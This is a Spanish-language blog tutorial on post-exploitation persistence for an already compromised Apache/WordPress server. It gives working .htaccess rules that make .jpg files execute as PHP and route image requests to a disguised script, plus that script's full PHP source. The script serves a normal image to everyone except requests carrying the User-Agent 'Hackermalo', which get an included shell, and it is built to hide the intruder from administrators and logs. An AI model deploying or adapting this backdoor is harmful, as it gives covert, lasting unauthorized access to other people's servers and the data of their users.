Al hilo de la entrada en la que se mostraba como ocultar código PHP en los metadatos de una imagen, en esta ocasión explicaremos cómo insertar nuestro backdoor también en una imagen pero esta vez añadiendo el código al final del fichero y ejecutando el shell sólo si se recibe un determinado “User-agent”. De esta manera se seguirá mostrando la imagen normalmente al resto de usuarios que naveguen por el servidor web comprometido y nosotros dispondremos de la "puerta trasera" para cuando la necesitemos.Ejecutando código PHP desde una “inocente” imagen La forma de hacer que nuestra imagen ejecute código PHP es similar a la anterior, es decir, insertando un fichero .htaccess en el directorio donde se encuentra nuestra imagen con el código. Este es un fichero que se encarga de permitir una configuración sobre un directorio. Una configuración propia de apache, con unas limitaciones. Recomiendo visitar la web de apachepara comprender mejor su funcionamiento. Prevalece todo lo indicado en este fichero, sobre la configuración inicial. Es decir, pondremos como prohibido el acceso a: 127.0.0.1, en la configuración de apache.
Deny from 127.0.0.1
Y sin embargo, la carpeta: “Comparto”, permitimos vía .htaccess, el acceso a cualquier dirección: Allow from All
Debemos saber que deberá encontrarse en esa carpeta, y afectará a la carpeta donde se encuentre, en este caso Comparto, y sus subcarpetas. Imaginemos, que una determinada carpeta, por estar destinada a código fuente, queremos almacenar ficheros php, pero que no se pueda ejecutar el código, simplemente que permita ver íntegramente lo que contienen los ficheros. Podríamos crear una carpeta en nuestro host, llamada: Source. Y contener un archivo .htaccess con el siguiente código: AddType text/plain .php
¿Se entiende la idea? Cualquier fichero con una extensión php, será tratado como texto plano. Y podríamos ver el código. Si renombramos un .rar, vamos a ver “basura”. Al igual que se explicaba en la anterior entrada de Hackplayers, se puede ejecutar código desde los metadatos/comentarios de una foto. Esto es debido a que se “fuerza” a que el servidor Apache interprete todas las imágenes como si de un PHP se tratase. Lógicamente, perderán la opción de visualización. Con la siguiente configuración en .htaccess: AddType application/x-httpd-php .jpg
Podemos crear un fichero con extensión jpg, con puro código php. Y lo veríamos así:
Para seguir haciendo pruebas, he creado un fichero JPG en el paint, con una bonita W. Un fondo horrible, añadiendo el código al final del fichero. En la imagen se puede apreciar, que trata de cargar todos los caracteres que componen la imagen, es decir, lo llena de basura, pero finalmente ejecuta mi código php.
De la misma manera poniendo el código al principio.
Con esto, queda demostrado que da igual dónde pongas el código, si se encuentra, tratará de ser ejecutado.
Lógicamente, hay zonas mejores y peores. Tras muchas pruebas, he concluido que la mejor zona para introducir código, es el final del fichero. El motivo, es que podemos hacer un script en PHP, que te deja elegir dependiendo de quien visita la página, bien una foto, o bien una shell.
Mejorando la técnica para post-explotación del sistema
Lo que pensaba podría ser un simple comentario, ha crecido y crecido… Hasta ser una explicación un poco hardcore, de una post-explotación. Aprovecho para mandar un saludito a mi chica. ¿Cuál es mi cámara?
Una post-explotación de un sistema apache, como es el caso, implica que ya tenemos acceso y podemos modificar los ficheros locales y expuestos (públicos en apache). Vamos a imaginar un entorno “WordPress” ya vulnerado. La ramificación de ficheros sería así:
La carpeta seleccionada, supongo que sería algo así la que buscaría en un entorno “real”. Porque está relativamente oculta. No tenga nada en contra de wordpress. Este tipo de ataque, se puede modificar, para ser efectivo sobre cualquier servidor.
¿Qué buscamos con una post-explotación?
Ante todo, una vez comprometido el sistema y ya tenemos acceso, vamos a buscar, poder regresar. Seguramente el administrador pueda darse cuenta de nuestra intrusión. Ahora debemos, garantizar nuestro retorno. Y sobre todo, que solamente nosotros, tengamos acceso posteriormente. Esto último, es especialmente importante. (Aconsejo no dejar acceso sólo a tú dirección ip.)
¿Una imagen, puede comprometer un sistema apache?
¡Sí! Ya hemos visto como el compañero Vicente, nos explicaba cómo convertir una imagen, en un fichero ejecutable php. El problema es que pierden la funcionalidad como imagen, es decir, dejarían de cargar, o bien mostraría “basura”, es decir, una imagen como texto, con caracteres extraños. Ahora veremos cómo evitar esto.
¿Y si encontrásemos la forma de mostrar una imagen, o ejecutar un script php a voluntad?
De esta forma, si el administrador o un usuario cargan una imagen, podría verla perfectamente. Sin embargo, nosotros, a voluntad, podríamos ver una shell en php ¡Como si fuera sólo una imagen! ¡Y así lo mostraría el log! Es decir, tan solo parecería que se ha cargado una linda foto.
¡Al ataqueeer! El código que he introducido en .htaccess:
1 - RewriteEngine On
2 -AddType application/x-httpd-php .jpg
3 - RewriteCond %{REQUEST_URI} !wordpress.jpg
4 - RewriteRule ^(.+)\.jpg$ /wordpress.jpg?foto=$1 [L]
1* - Activa la reescritura.
2* - Fuerza que los ficheros .JPG, sean considerados ficheros PHP. (Como si un .php se tratara).
3* - Verifica que el fichero que se está llamando no sea wordpress.jpg. Esto es debido a que sin esta línea, se produciría un bucle.
4* - Fuerza que todos los ficheros .JPG, sean reenviados a: localhost/wordpress.jpg?foto=Nombrefoto (Menos si el fichero es wordpress.jpg)
Realmente wordpress.jpg es un script php encargado de mostrar la imagen, o una shell bajo petición:
?php
error_reporting(0);
if ($_SERVER['HTTP_USER_AGENT'] == "Hackermalo") {
#¿Shell?
#Maybe
#¿Include?
#include "xx.jpg"; #Funciona. Carga la shell
#echo $_GET["foto"].".jpg";
include $_GET["foto"].".jpg";
#Burradas e inventos varios ^^
}else{
#Código propiedad de Cluster
#http://www.forosdelweb.com/f18/problema-con-header-content-type-image-jpeg-106272/
if ($_GET["foto"]==""){
Header("Content-Type: image/png");
$url_img="http://s.wp.com/wp-content/themes/h4/i/logo-v-rgb.png";
}else{
Header("Content-Type: image/jpg");
$url_img=$_GET["foto"].".jpg";
}
$img_link = fopen($url_img,"rb"); // rb modo binario para windows .. r para linux
while (!feof ($img_link)){ // se lee la imagen hasta fin de fichero (END OF FILE)
$img_des = fgets ($img_link, 4096); // se cogen de bloques de 4 kbytes
echo $img_des; // se mandan al navegador en este caso ..
}
fclose($img_link); // se cierra el link de fichero ..
}
?>
Primero verifica el UserAgent enviado. Como medida de protección, primero sólo yo tendré acceso al panel, no será cacheado por los buscadores, y me permite ocultar mi estancia. Si mi user agent es: “Hackermalo”, carga el código php, en caso contrario, muestra la foto. Detecta el nombre del fichero pasado por la variable “foto”, si no hay nada, es decir, se ha llamado directamente a wordpress.jpg ¡Muestra una imagen! :D. En caso contrario, procesa el fichero y muestra la imagen solicitada. Gracias al código del htaccess, no varía la url, es decir, parece que está mostrando la imagen real.
Una imagen con el user-agent por defecto. El administrador, Google, cualquiera. Al final de la imagen, está nuestro script, con el que he trabajado todo este rato. Esto es lo que veríamos al llamar a la imagen:
Ahora, cambiaré mi user-agent a: “Hackermalo”, y simplemente tengo que presionar F5. El payload que he utilizado es cargar por include la misma imagen que estoy llamando. Por lo que se aprecia mucha basura de la propia foto, y al final del todo mi código.
Por último, sólo tendríamos que subir el .htaccess a la carpeta screenshots, y el fichero wordpress.jpg. En el propio código de wordpress.jpg, podríamos meter una Shell y hacer que sea llamada vía include desde otra “foto”, en fin, aquí el límite lo pone la imaginación…
Entradas
